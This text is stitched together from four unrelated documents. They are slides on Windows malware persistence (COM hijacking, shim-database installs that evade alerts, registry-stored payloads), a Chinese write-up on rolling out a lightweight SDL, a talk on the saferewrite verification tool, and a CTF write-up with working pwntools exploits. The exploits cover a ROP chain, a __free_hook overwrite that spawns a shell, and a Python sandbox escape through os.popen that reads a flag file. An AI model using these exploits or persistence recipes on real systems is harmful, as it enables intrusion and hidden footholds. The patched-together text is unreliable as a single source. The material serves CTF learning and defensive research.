Hide behind legitimate
applications (DLL abuse)
• Korplug (PlugX) - spyware
• Uses vulnerable, digitally signed, legitimate application (old AV products)
• Exploits DLL side loading (DLL is a decoder)
• The real malware is decrypted in memory -> no malicious PE file on the
disk -> hard to detect!
https://blog.malwarebytes.com/threat-analysis/2016/08/unpacking-the-spyware-disguised-as-antivirus/
Hide behind legitimate
applications (script)
• Terdot Zbot (Zeus-based banking trojan):
C:\AppData\Roaming\Haxyka\php.exe ushautre.php
Hide behind legitimate
applications (script)
• Terdot Zbot (Zeus-based banking trojan)
• Uses a legitimate application (PHP)
• PHP is used to deploy obfuscated script
• Script decrypts and loads the malware
• The real malware is revealed in memory:
• no malicious PE file on the disk -> hard to detect!
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/
Hide code in the registry
• So called „fileless” malware
• Phasebot
• Poweliks
• Gootkit
• Kovter
• PoshSpy (APT29) using WMI component and PowerShell
• Others...
Hide code in the registry
• Trivial case - PE file saved in the registry key:
Hide code in the registry
(multilayer: Kovter)
• Kovter – a click-fraud malware
• Persistence is achieved by a basic Run key – but the flow leading to the malicious
executable is obfuscated
• The malicious PE is stored in the registry in encrypted form
• Multiple layers till the real payload is loaded...
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
Hide code in the registry
(multilayer: Kovter)
https://blog.malwarebytes.com/threat-analysis/2016/07/untangling-kovter/
Abusing AppInit_DLLs
• Define DLLs that are injected to every application that uses user32.dll:
https://support.microsoft.com/pl-pl/help/197571/working-with-the-appinit-dlls-registry-value
Disabled in Win 8
and above, when
secure boot is
enabled
UAC
Bypass
required
Abusing AppInit_DLLs
• Registry keys:
https://support.microsoft.com/pl-pl/help/197571/working-with-the-appinit-dlls-registry-value
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Windows\AppInit_DLLs
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\
Windows NT\CurrentVersion\Windows\AppInit_DLLs
32 bit OS + 32 bit DLL
Or
64 bit OS + 64 bit DLL
64 bit OS + 32 bit DLL
Abusing shim databases
• Microsoft Application Compatibility Toolkit – creates patches:
https://www.microsoft.com/en-us/download/confirmation.aspx?id=7352
Abusing shim databases
• Shim Database
• Allows setting automated injection of a patch into selected application
• Can be used to automatically load malicious modules when the target
application is deployed (DLL, shellcode, etc)
• Installation requires elevated privileges
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
UAC
Bypass
required
Abusing shim databases
• sdbinst.exe – standard Windows tool, manages patches (.sdb)
• Example: Ramnit malware deploying sdbinst
https://www.hybrid-
analysis.com/sample/c823183b49148e7e60d84142ccefc8fe16fe44bec94d5eabdbd623c65cdaff8c?environmen
tId=100/
UAC
Bypass
required
sdbinst /q <path_to_shim_db>.sdb
Abusing shim databases
• To trigger less alerts, install a shim without sdbinst.exe
• Example of edited keys:
https://github.com/hasherezade/persistence_demos/tree/master/shim_persist
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags\InstalledSDB\{7c6002f0-559a-488a-9fc1-bd54c33fdfa9}]
"DatabasePath"=<path_to_shim>.sdb
"DatabaseType"=dword:00010000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\AppCompatFlags\Custom\<shimmed_app>.exe]
"{7c6002f0-559a-488a-9fc1-bd54c33fdfa9}.sdb"=hex(b):90,58,2d,0d,1a,b7,d2,01
COM Hijacking
• COM – Component Object Model
• „enables interaction between software components through the operating
system”
• Identified by CLSID – examples:
https://attack.mitre.org/wiki/Technique/T1122
{3543619C-D563-43f7-95EA-4DA7E1CC396A} – Shell Icon Overlay Handler
{BCDE0395-E52F-467C-8E3D-C4579291692E} - MMDevice Manipulator
More: https://msdn.microsoft.com/en-
us/library/accessibility(v=vs.110).aspx
COM Hijacking
• Substitute legitimate COM by your own
• When the application using the defined COM is loaded, malware is executed
• Keys:
https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
HKCU\Software\Classes\CLSID\[hijacked CLSID]\InprocServer32
32 bit OS + 32 bit DLL
Or
64 bit OS + 64 bit DLL
HKCU\Software\Classes\Wow6432Node\CLSID\[hijacked CLSID]\InprocServer32
64 bit OS + 32 bit DLL
COM Hijacking
• Examples:
https://github.com/hasherezade/persistence_demos/tree/master/com_hijack
[HKEY_CURRENT_USER\Software\Classes\CLSID\{BCDE0395-E52F-467C-8E3D-
C4579291692E}\InprocServer32]
@="C:\\ProgramData\\demo.dll"
"ThreadingModel"="Apartment
[HKEY_USERS\S-1-5-21-1929933236-2258453022-3626796957-
1000_Classes\CLSID\{BCDE0395-E52F-467C-8E3D-C4579291692E}\InprocServer32]
@="C:\\ProgramData\\demo.dll"
"ThreadingModel"="Apartment
User-triggered persistence: link
hijacking
• Example: Spora ransomware
https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware
HKEY_LOCAL_MACHINE\Software\Classes\lnkfile\IsShortcut
User-triggered persistence: link
hijacking
• Hijacking in the style of Spora ransomware:
1.
Disable showing link indicators:
• Delete:
HKEY_LOCAL_MACHINE\Software\Classes\lnkfile\IsShortcut
2. Hide folders and substitute them by links
3. Clicking the link causes opening the original program + deploying the
dropped malware
https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware
User-triggered persistence: link
hijacking
• Similarly: existing shortcuts can be overwritten by shortcuts
deploying malware
https://www.uperesia.com/booby-trapped-shortcut-generator
C:\ProgramData\ProxyApp.exe
C:\totalcmd\TOTALCMD.exe
User-triggered persistence
(handler hijacking)
https://github.com/hasherezade/persistence_demos/tree/master/extension_hijack
extension
handler
User-triggered persistence
(handler hijacking)
https://github.com/hasherezade/persistence_demos/tree/master/extension_hijack
genuine app
malicious app
handler
Hijack the handler
User-triggered persistence
(handler hijacking)
• Applications handling particular extensions are defined in the registry
• Globally defined extensions and handlers, in:
• HKEY_CLASSES_ROOT
• It can be also defined per user:
• HKEY_USERS -> <user SID>_Classes
• Redefine a handler: no Administrator rights required
https://github.com/hasherezade/persistence_demos/tree/master/extension_hijack
User-triggered persistence
(handler hijacking)
• When the user click a file with hijacked extension, the malware is deployed
• DEMO:
• https://www.youtube.com/watch?v=IE9H0qZbi18
https://hshrzd.wordpress.com/2017/05/25/hijacking-extensions-handlers-as-a-malware-persistence-method/
Conclusions
• Authors of the malware are very creative in finding new ways of hiding
persistence
• The easiest way to detect the persistence method is by observing the
installation – post-infection analysis is much harder
• „Fileless” malware also creates artifacts that can be found in a typical way | pdf |
精简版 SDL 落地实践
Author:@好好学习英语的 abc
前言
一般安全都属于运维部下面，和上家公司的运维总监聊过几次一些日常安全工
作能不能融入到 DevOps 中，没多久因为各种原因离职。18 年入职 5 月一家第
三方支付公司，前半年在各种检查中度过，监管形势严峻加上大领导对安全的
重视(主要还是监管)，所有部门 19 年的目标都和安全挂钩。由于支付公司需要
面对各种监管机构的检查，部分安全做的比较完善，经过近一年对公司的熟悉
发现应用安全方面比较薄弱。这部分业内比较好的解决方案就是 SDL，和各厂
商交流过之后决定自己照葫芦画瓢在公司一点一点推广。
一、精简版 SDL
上图为标准版的 SDL,由于运维采用 DevOps 体系，测试也使用自动化进行
功能测试，版本迭代周期比较快,安全人手不足加上对 SDL 的威胁建模等方
法也一头雾水、如果把安全在加入整个流程会严重影响交付时间。在这种
情况调研了一些业内的一些做法，决定把 SDL 精简化 。精简版 SDL 如
下：
二、精简版 SDL 落地实践
1
安全培训
SDL 核心之一就是安全培训，所以在安全培训上我们做了安全编码、
安全
培训
安全
需求
设计
开发
实现
验证
发布
监控
安全意识、安全知识库、安全 SDK
1.1 安全编码：
我们在网上找了一些 java 安全编码规范、产品安全设计及开发安全
规范结合公司实际业务出了一版。
因为各种监管机构对培训都有要求，借此推了一下安全培训，定期对
开发和新员工入职的培训。
1.2 安全意识：
公司有企业微信公众号，大部分员工都关注了，在公众号推广了一波。
宣传完之后答题，答题满分送小礼品。
因为人手不足，而功能测试和安全测试本质上有很多相通的地方，测试部
门也比较配合，针对测试人员做了一些安全测试相关的培训，但是效果并不是太理
想。
1.3 安全知识库：
在漏洞修复过程中，开发很多不太了解漏洞原理、修复方案，所以我
们建立了安全知识库，开发先到安全知识库查相关解决方法。找不到
的再和安全人员沟通，安全人员对知识库不断更新，形成一个闭环。
1.4 安全 SDK
由于公司有架构部门，开发框架基本是架构部门提供。我们将一些
常 见 的 漏 洞 和 架 构 部 门 沟 通 之 后 ， 让 架 构 将 一 些 漏 洞 修 复 方 式 用
SDK 实现，开发只需要导入 JAR 包，在配置文件中配置即可。其中
也挺多坑的，需要慢慢优化。
2
安全需求设计
公司有项目立项系统，所有的项目立项都需要通过系统来进行立项，
安全为必选项，评审会安全也必须要参与。
这个时候基本上项目经理会找安全人员进行沟通，copy 了一份 VIP
的产品安全设计规范，根据需求文档和项目经理确定安全需求。
确认好安全需求之后将按需求加入到需求文档，并确认安全测试时
间，此流程只针对新项目，已经上线的项目的需求并未按照此流程，
后续在安全测试时候会讲到这部分的项目是怎么做的。
三、开发、安全测试
安全测试主要分为代码审计，漏洞扫描，手工安全测试。由此衍生出
来 的 安 全 产 品 分 为
3
类 。 DAST ： 动 态 应 用 程 序 安 全 测 试
（ wvs,appscan ）、 SAST ： 静 态 应 用 程 序 安 全 测 试
(fortify,rips)、IAST：交互式应用程序安全测试 （seeker，雳
鉴
）
,
这
三
种
产
品
的
详
细
介
绍
可
以
参
考
https://www.aqniu.com/learn/46910.html,下图为三种产品
的测试结果对比。
这几类产品实现了自动化可以继承到 DevOps 中。接下来我们将这些
工具融入到开发测试阶段。
IAST 的实现模式较多，常见的有代理模式、VPN、流量镜像、插桩模
式，本文介绍最具代表性的 2 种模式，代理模式和插桩模式。一些调
研过的产品如下图，具体测试结果就不公布了。
2.1 开发阶段
在对几类产品调研的时候发现 IAST 的插桩模式可以直接放到开发环
境，开发环境和测试环境的代码区别主要还是在于 application.yml 配置文
件，所以可以提前将该模式放到开发阶段。
开发写完代码提交到 gitlab 部署到开发环境启动应用的时候，开发
需要验证一下功能是否可用，这个时候就可以检测出是否存在漏洞。
公司在测试环境使用 rancher，把 IAST 的 jar 包放入到项目的
gitlab,在部署的时候把代码拉到本地，通过修改 Dockerfile 文件把 jar
包添加到容器。
• ADD shell/xxx.jar /home/app/xx/lib
由于公司项目基本统一使用 spring-boot，所有的项目都通过一个
start.sh 脚本来启动应用，start.sh 和 Dockerfile 一样需要添加到项
目的 gitlab，同时修改 start.sh 脚本文件即可。
-javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOME/app/*.jar --
spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 &
测试项目如下，忽略错别字：
开发访问一下正常的功能即可在是否存在漏洞。
部分产品同时还会检测第三方组件包。
公司使用 harbor 来对镜像进行当仓库镜像，项目部署完成之后会打
包成一个镜像上传到 harbor，harbor 自带镜像扫描功能。
2.2 测试阶段
开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描，功能
测试，安全测试。
2.2.1 静态代码扫描
利用静态代码扫描工具对代码在编译之前进行扫描，并在静态代码层面上发
现各种问题，其中包括安全问题。部分工具列表：
由于预算有限，静态代码扫描采用 sonarQube 集成，我们使用的是
FindbugSecurity,精简规则，然后在持续构建过程中，进行静态代码 bug,安全
扫描。
静态代码扫描的同时也可以扫描第三方依赖包，OWSAP 的 Dependency-
Check 就可以集成到持续构建过程中，由于 IAST 类产品支持该功能，不多做
介绍。
2.2.2 功能测试
功能测试方面，公司测试部门实现了自动化测试平台，前期我们
并未使用 agent 的方式检测，一开始使用开源的 gourdscan
加上 openrasp，利用 openrasp 的默认开启不拦截模式和漏
洞记录功能来检测服务端无返回的漏洞。
后来测试反馈扫描的脏数据太多，效果也并不是很好，就放弃了此方案。改
用开发阶段的 IAST 的插桩方式，同样在测试环境也和开发环境一样利用
agent 来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解，
所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修
复，然后将问题写入到测试报告。
2.2.3 安全测试
在测试阶段已经将安全加入到整个流程里面，所有需求更改完
成都需要通过功能测试，也就是所有的流程过一遍安全测试，这
样安全人手也不是很足，决定采用内外服务区分的办法来确定
是否需要安全人员介入。
2.2.4 漏洞管理
漏洞管理这一块制定了漏洞管理制度，根据影响程度对漏洞进
行评级，严重漏洞必须改完之后才能上线，高中低危漏洞且影响
较小需要排期。
四、监控
支付公司一般安全设备基本都有，这一块基本上将设备的 syslog 打到
日志中心可视化，并定制对应的规则实现告警即可。
五、结束语
个人知识和经验不足对 sdl 的体系并不是很熟悉，没什么经验，所以只
能做到目前的程度。后续还有许多地方可以优化，增加流程等。如果有什
么好的建议欢迎交流。 | pdf |
Fast verified
post-quantum software
Daniel J. Bernstein
SymCrypt: failures for rare inputs
It’s actually a bug within SymCrypt, the core
cryptographic library responsible for implementing
asymmetric crypto algorithms in Windows 10 and
symmetric crypto algorithms in Windows 8.
—“Warning: Google Researcher Drops
Windows 10 Zero-Day Security Bomb”,
Forbes, https://tinyurl.com/y69fx3nh
Daniel J. Bernstein, Fast verified post-quantum software
3
Falcon software: skewed randomness
Produced signatures were valid but leaked
information on the private key. . . . The fact that
these bugs existed in the first place shows that the
traditional development methodology (i.e. ‘being
super careful’) has failed.
—“OFFICIAL COMMENT” within NISTPQC
(NIST Post-Quantum Cryptography Standardization
Project), https://tinyurl.com/y5w46bde
Daniel J. Bernstein, Fast verified post-quantum software
4
Minerva: timing attack
Libgcrypt, wolfSSL, and Crypto++ have issued
patches over the summer to fix this bug.
Maintainers of MatrixSSL fixed some issues, but the
library remains vulnerable. Oracle’s SunEC library
remains open to attacks.
—“Minerva attack can recover private keys
from smart cards, cryptographic libraries”,
ZDNet, https://tinyurl.com/y6rlkov4
Daniel J. Bernstein, Fast verified post-quantum software
5
Cryptographic software has a problem . . .
2021.07 Blessing–Specter–Weitzner “You really
shouldn’t roll your own crypto: an empirical study
of vulnerabilities in cryptographic libraries”:
73 “actual” cryptographic vulnerabilities, including
11 “severe” cryptographic vulnerabilities, among
OpenSSL, GnuTLS, Mozilla TLS, WolfSSL, Botan,
Libgcrypt, LibreSSL, BoringSSL post-2010 CVEs.
Daniel J. Bernstein, Fast verified post-quantum software
6
. . . and the complexity is getting worse
Must be
post-quantum!
Must be
fast!
Must stop
timing attacks!
Complicated ecosystem
of post-quantum specs
Much more complicated ecosystem
of post-quantum software
Daniel J. Bernstein, Fast verified post-quantum software
7
Examples of the complications
Official Keccak (SHA-3) code package:
• KeccakP-1600-reference.c,
• KeccakP-1600-x86-64-shld-gas.s,
• KeccakP-1600-AVX2.s,
• KeccakP-1600-AVX512.s,
• KeccakP-1600-times8-SIMD512.c,
• . . .
Much better speeds than using just
reference + “optimizing” compiler.
Daniel J. Bernstein, Fast verified post-quantum software
8
Examples of the complications
Official Keccak (SHA-3) code package:
• KeccakP-1600-reference.c,
• KeccakP-1600-x86-64-shld-gas.s,
• KeccakP-1600-AVX2.s,
• KeccakP-1600-AVX512.s,
• KeccakP-1600-times8-SIMD512.c,
• . . .
Much better speeds than using just
reference + “optimizing” compiler.
Each NISTPQC candidate includes hand-optimized
software faster than state-of-the-art compiled code.
Daniel J. Bernstein, Fast verified post-quantum software
8
The good news: symbolic testing
Symbolic-testing tools check that
optimized software equals reference software.
“Equals”: gives the same outputs for all inputs.
Today’s tools are surprisingly easy to use and
quickly handle many post-quantum subroutines.
Daniel J. Bernstein, Fast verified post-quantum software
9
The good news: symbolic testing
Symbolic-testing tools check that
optimized software equals reference software.
“Equals”: gives the same outputs for all inputs.
Today’s tools are surprisingly easy to use and
quickly handle many post-quantum subroutines.
This talk: new saferewrite symbolic-testing tool.
Open source from https://pqsrc.cr.yp.to.
Daniel J. Bernstein, Fast verified post-quantum software
9
The good news: symbolic testing
Symbolic-testing tools check that
optimized software equals reference software.
“Equals”: gives the same outputs for all inputs.
Today’s tools are surprisingly easy to use and
quickly handle many post-quantum subroutines.
This talk: new saferewrite symbolic-testing tool.
Open source from https://pqsrc.cr.yp.to.
Under the hood, doing most of the work:
valgrind; its VEX library; Z3 theorem prover;
angr.io binary-analysis/symbolic-execution toolkit.
Daniel J. Bernstein, Fast verified post-quantum software
9
Case study: int16[64] comparison
Subroutine used inside Frodo post-quantum KEM.
My ref version, cmp_64xint16/ref/verify.c:
#include <stdint.h>
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ for (int i = 0;i < 64;++i)
if (x[i] != y[i])
return -1;
return 0;
}
Daniel J. Bernstein, Fast verified post-quantum software
10
Automatic saferewrite analysis
Using clang -O1 -fwrapv -march=native:
• saferewrite says unsafe-valgrindfailure:
Code has variable branches/indices,
violating constant-time coding discipline.
• And unsafe-unrollsplit-65:
Unrolling split the code into 65 cases.
Daniel J. Bernstein, Fast verified post-quantum software
11
Automatic saferewrite analysis
Using clang -O1 -fwrapv -march=native:
• saferewrite says unsafe-valgrindfailure:
Code has variable branches/indices,
violating constant-time coding discipline.
• And unsafe-unrollsplit-65:
Unrolling split the code into 65 cases.
Using gcc -O3 -march=native -mtune=native:
• unsafe-valgrindfailure
• unsafe-unrollsplit-65
• equals-ref-clang_-O1_...:
cmp_64xint16 binaries give same outputs.
Daniel J. Bernstein, Fast verified post-quantum software
11
Automatic analysis of a rewrite
#include <stdint.h>
#include <string.h>
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{
return memcmp(x,y,128);
}
Daniel J. Bernstein, Fast verified post-quantum software
12
Automatic analysis of a rewrite
#include <stdint.h>
#include <string.h>
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{
return memcmp(x,y,128);
}
Again unsafe-valgrindfailure: variable time.
Also unsafe-differentfrom-ref-clang_....
Why? Nonzero memcmp output isn’t always -1.
Daniel J. Bernstein, Fast verified post-quantum software
12
Automatic analysis of another rewrite
#include <stdint.h>
#include <string.h>
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ int r = memcmp(x,y,128);
if (r != 0) return -1;
return 0;
}
Daniel J. Bernstein, Fast verified post-quantum software
13
Automatic analysis of another rewrite
#include <stdint.h>
#include <string.h>
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ int r = memcmp(x,y,128);
if (r != 0) return -1;
return 0;
}
Now equals-ref-clang_... but still
unsafe-valgrindfailure. 2017 Frodo software
used memcmp; broken by 2020.06 timing attack.
Daniel J. Bernstein, Fast verified post-quantum software
13
2020.06 Frodo official constant-time code
int8_t ct_verify(const uint16_t *a,
const uint16_t *b, size_t len)
{ // Compare two arrays in constant time.
// Returns 0 if the byte arrays are equal,
// -1 otherwise.
uint16_t r = 0;
for (size_t i = 0; i < len; i++) {
r |= a[i] ^ b[i];
}
r=(-(int16_t)r)>>(8*sizeof(uint16_t)-1);
return (int8_t)r;
}
Daniel J. Bernstein, Fast verified post-quantum software
14
Use saferewrite to analyze this . . .
Add wrapper to fit the cmp_64xint16 interface:
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ return ct_verify(x,y,64); }
saferewrite focuses on constant lengths.
(Frodo uses int16[N] for a few choices of N.)
Daniel J. Bernstein, Fast verified post-quantum software
15
Use saferewrite to analyze this . . .
Add wrapper to fit the cmp_64xint16 interface:
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ return ct_verify(x,y,64); }
saferewrite focuses on constant lengths.
(Frodo uses int16[N] for a few choices of N.)
Feed ct_verify and wrapper to saferewrite:
• No more unsafe-valgrindfailure: Great.
Daniel J. Bernstein, Fast verified post-quantum software
15
Use saferewrite to analyze this . . .
Add wrapper to fit the cmp_64xint16 interface:
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ return ct_verify(x,y,64); }
saferewrite focuses on constant lengths.
(Frodo uses int16[N] for a few choices of N.)
Feed ct_verify and wrapper to saferewrite:
• No more unsafe-valgrindfailure: Great.
• unsafe-differentfrom-ref-...: Oops!
Bug discovered 2020.12 by Saarinen; easy to exploit.
Daniel J. Bernstein, Fast verified post-quantum software
15
A safe rewrite: correct constant-time code
#include <stdint.h>
int cmp_64xint16(const uint16_t *x,
const uint16_t *y)
{ uint32_t differences = 0;
for (long long i = 0;i < 64;++i)
differences |= x[i] ^ y[i];
return (1 & ((differences - 1) >> 16)) - 1;
}
Now saferewrite analysis with both compilers
says equals-ref-... and no more unsafe.
Daniel J. Bernstein, Fast verified post-quantum software
16
Examples in saferewrite package
10 sample implementations of cmp_64xint16.
One uses OpenSSL’s CRYPTO_memcmp Intel asm;
see CVE-2018-0733 re CRYPTO_memcmp HP asm.
Daniel J. Bernstein, Fast verified post-quantum software
17
Examples in saferewrite package
10 sample implementations of cmp_64xint16.
One uses OpenSSL’s CRYPTO_memcmp Intel asm;
see CVE-2018-0733 re CRYPTO_memcmp HP asm.
103 sample implementations of 39 other functions.
Some functions much bigger than cmp_64xint16.
Some simple functions for exercising saferewrite.
Daniel J. Bernstein, Fast verified post-quantum software
17
Examples in saferewrite package
10 sample implementations of cmp_64xint16.
One uses OpenSSL’s CRYPTO_memcmp Intel asm;
see CVE-2018-0733 re CRYPTO_memcmp HP asm.
103 sample implementations of 39 other functions.
Some functions much bigger than cmp_64xint16.
Some simple functions for exercising saferewrite.
unsafe-differentfrom automatically includes
example of an input triggering the difference.
Can be hard to find by traditional testing/fuzzing!
Daniel J. Bernstein, Fast verified post-quantum software
17
Examples in saferewrite package
10 sample implementations of cmp_64xint16.
One uses OpenSSL’s CRYPTO_memcmp Intel asm;
see CVE-2018-0733 re CRYPTO_memcmp HP asm.
103 sample implementations of 39 other functions.
Some functions much bigger than cmp_64xint16.
Some simple functions for exercising saferewrite.
unsafe-differentfrom automatically includes
example of an input triggering the difference.
Can be hard to find by traditional testing/fuzzing!
Beware: automatically uses many cores, big RAM.
Tip: chmod +t src/*; chmod -t src/cmp*
Daniel J. Bernstein, Fast verified post-quantum software
17
Example: integer-sequence encoders
Existing optimized code from NTRU Prime,
with heavy use of Intel AVX2 vector instructions:
• 245-line encode_761x1531/avx/encode.c
encode.c and similar encoders for other sizes are
automatically generated by 239-line Python script.
Daniel J. Bernstein, Fast verified post-quantum software
18
Example: integer-sequence encoders
Existing optimized code from NTRU Prime,
with heavy use of Intel AVX2 vector instructions:
• 245-line encode_761x1531/avx/encode.c
encode.c and similar encoders for other sizes are
automatically generated by 239-line Python script.
Existing reference code, much simpler:
• 38-line encode_761x1531/ref/Encode.c
• 18-line encode_761x1531/ref/wrapper.c
Daniel J. Bernstein, Fast verified post-quantum software
18
Example: integer-sequence encoders
Existing optimized code from NTRU Prime,
with heavy use of Intel AVX2 vector instructions:
• 245-line encode_761x1531/avx/encode.c
encode.c and similar encoders for other sizes are
automatically generated by 239-line Python script.
Existing reference code, much simpler:
• 38-line encode_761x1531/ref/Encode.c
• 18-line encode_761x1531/ref/wrapper.c
“Is the optimized code a safe rewrite of ref?”
Automatic saferewrite analysis: equals-ref.
Daniel J. Bernstein, Fast verified post-quantum software
18
Excerpt from avx/encode.c
x = _mm256_loadu_si256((__m256i *) reading);
x = _mm256_add_epi16(x,_mm256_set1_epi16(2295));
x &= _mm256_set1_epi16(16383);
x = _mm256_mulhi_epi16(x,_mm256_set1_epi16(21846));
y = x & _mm256_set1_epi32(65535);
x = _mm256_srli_epi32(x,16);
x = _mm256_mullo_epi32(x,_mm256_set1_epi32(1531));
x = _mm256_add_epi32(y,x);
x = _mm256_shuffle_epi8(x,_mm256_set_epi8(
12,8,4,0,12,8,4,0,14,13,10,9,6,5,2,1,
12,8,4,0,12,8,4,0,14,13,10,9,6,5,2,1
));
x = _mm256_permute4x64_epi64(x,0xd8);
_mm_storeu_si128((__m128i *) writing,
_mm256_extractf128_si256(x,0));
*((uint32 *) (out+0)) = _mm256_extract_epi32(x,4);
*((uint32 *) (out+4)) = _mm256_extract_epi32(x,6);
Daniel J. Bernstein, Fast verified post-quantum software
19
Links, TODO
#saferewrite
saferewrite package is available now from
https://pqsrc.cr.yp.to. Work in progress:
• More post-quantum case studies.
• More pre-quantum case studies: e.g., Ed25519.
• More languages: e.g., support Python ref.
• Developer integration: incremental testing etc.
• “Cuts”: subroutine swaps etc. for faster testing.
• Plugins for dedicated equivalence testers.
• Higher assurance for the entire toolchain.
Related work: Cryptol/SAW/hacrypto, Cryptoline,
Fiat-Crypto, HACL*, Jasmin, ValeCrypt, VST.
Daniel J. Bernstein, Fast verified post-quantum software
20 | pdf |
OGeekWrite Up - Nu1L
OGeekWrite Up - Nu1L
catch fun
babyrop
book manager
Pybox
2019
Upgrade
LookAround
render
Easy Realworld Challenge
mblockchain
Hub
8v
Babycry
catch fun
flag{Reno}
babyrop
ROP
#!python
#-*- coding: utf-8 -*-
#@Date: 2019-08-24 11:39:14
from pwn import *
context.log_level = 'debug'
# p = process("./babyrop")
p =remote("47.112.137.238",13337)
elf = ELF("./babyrop")
libc = ELF("./libc-2.23.so")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p.send("\x00"*7+"\xff"+24*"\x00")
p.send("A"*0xeb+p32(0x8048548)+p32(0x080485A0)+p32(elf.got['puts']))
p.recvuntil("Correct\n")
libc.address = u32(p.recvuntil("\n",drop=True))-libc.sym['puts']
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
book manager
system = libc.sym['system']
log.info("system:"+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info("binsh:"+hex(binsh))
p.send("\x00"*7+"\xff"+24*"\x00")
p.send("A"*0xeb+p32(system)+p32(0x8048825)+p32(binsh))
p.interactive()
19
20
21
22
23
24
25
26
27
#!python
#-*- coding: utf-8 -*-
#@Date: 2019-08-24 19:06:12
from pwn import *
ru = lambda x : p.recvuntil(x,drop=True)
s = lambda x,y : p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)
p = remote("47.112.115.30",13337)
libc = ELF('./libc-2.23.so')
s('create: ',"A"*0x1f)
def add_chapter(name):
sl('Your choice:',str(1))
s("Chapter name:",name)
def add_section(into,name,leak=False):
addr = 0
sl('Your choice:',str(2))
s('into:',into)
if leak:
ru("0x")
addr = int(ru('\n').ljust(0x8,'\x00'),16)
s('Section name:',name)
return addr
def add_text(into,num,text):
sl('Your choice:',str(3))
s('into:',into)
sl('write:',str(num))
s("Text:",text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
def dele_chapter(name):
sl('Your choice:',str(4))
s('name:',name)
def dele_section(name):
sl('Your choice:',str(5))
s('name:',name)
def dele_text(name):
sl('Your choice:',str(6))
s('name:',name)
def preview():
sl('Your choice:',str(7))
def update(choice,name,cnt,r=False):
sl('Your choice:',str(8))
s("(Chapter/Section/Text):",choice)
if r:
s('Section name:',name)
s("New Text:",cnt)
else:
s("Section name:",name)
s('name:',cnt)
add_chapter("c0\n")
add_chapter("c1\n")
heap = add_section("c1",'s0',leak=True)-0x1c0
log.info("heap:"+hex(heap))
dele_chapter('c0')
add_text("s0",1,'\n')
preview()
ru("Section:s0\n")
ru("Text:")
libc.address = u64(ru('\n').ljust(0x8,'\x00'))-0x3c4bf8
log.info("libc.address:"+hex(libc.address))
__free_hook = libc.sym['__free_hook']
system = libc.sym['system']
dele_chapter('c1')
add_chapter('c0')
add_section('c0','s1')
add_text("s1",1,'\n')
update('Text\n','s1\n',"A"*0x18+p64(0x91)+"c2"+'\x00'*(0x20-
2)+p64(heap+0xe8)+"/bin/sh\x00"+4*p64(__free_hook),r=True)
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
Pybox
closureimport oscutflag1/0
update('Text\n',"/bin/sh\n",p64(system)+'\n',r = True)
dele_section("/bin/sh\n")
p.interactive()
83
84
85
86
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import string
LOCAL = 0
VERBOSE = 0
DEBUG = 0
context.arch = 'amd64'
get_length = '''1/(len(__import__.__getattribute__('__clo'+'sure__')
[0].cell_contents('o'+'s').__getattribute__('popen')('{}').read())-{})'''
get_content = '''1/(ord(__import__.__getattribute__('__clo'+'sure__')
[0].cell_contents('o'+'s').__getattribute__('popen')('{}').read()[{}])-
{})'''
if VERBOSE:
context.log_level = 'debug'
if LOCAL:
io = process('./bin', env={'LD_LIBRARY_PATH': './'})
# libc = ELF('./libc-2.23.so')
else:
io = remote('47.112.108.17', 12312)
# libc = ELF('./libc-2.23.so')
if DEBUG:
gdb.attach(io, 'b *0x0000000000400F89\n')
io.recvuntil('>>>')
command = 'echo $(</home/flag)'
print 'Running command:', command
for length in range(40):
io.sendline(get_length.format(command,length))
res = io.recvuntil('>>>')
if 'try again' in res:
print 'length find:', length
break
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
2019
lsb+base64+base85
Upgrade
Parser
for idx in range(length):
for guess in map(ord,string.printable):
io.sendline(get_content.format(command,idx,guess))
res = io.recvuntil('>>>')
if 'try again' in res:
print 'content[{}] = {}'.format(idx, chr(guess))
break
37
38
39
40
41
42
43
44
import struct
from hashlib import sha256
f = open('exp.upg','rb')
magic = f.read(4)
assert magic == '\xAA\xCC\xCC\xAA'
record_number = struct.unpack('Q',f.read(8))[0]
sig1 = None
sig2 = None
1
2
3
4
5
6
7
8
9
10
11
12
13
for record_idx in range(record_number):
f.seek(64*(record_idx)+12)
content = f.read(64)
key = content[:2]
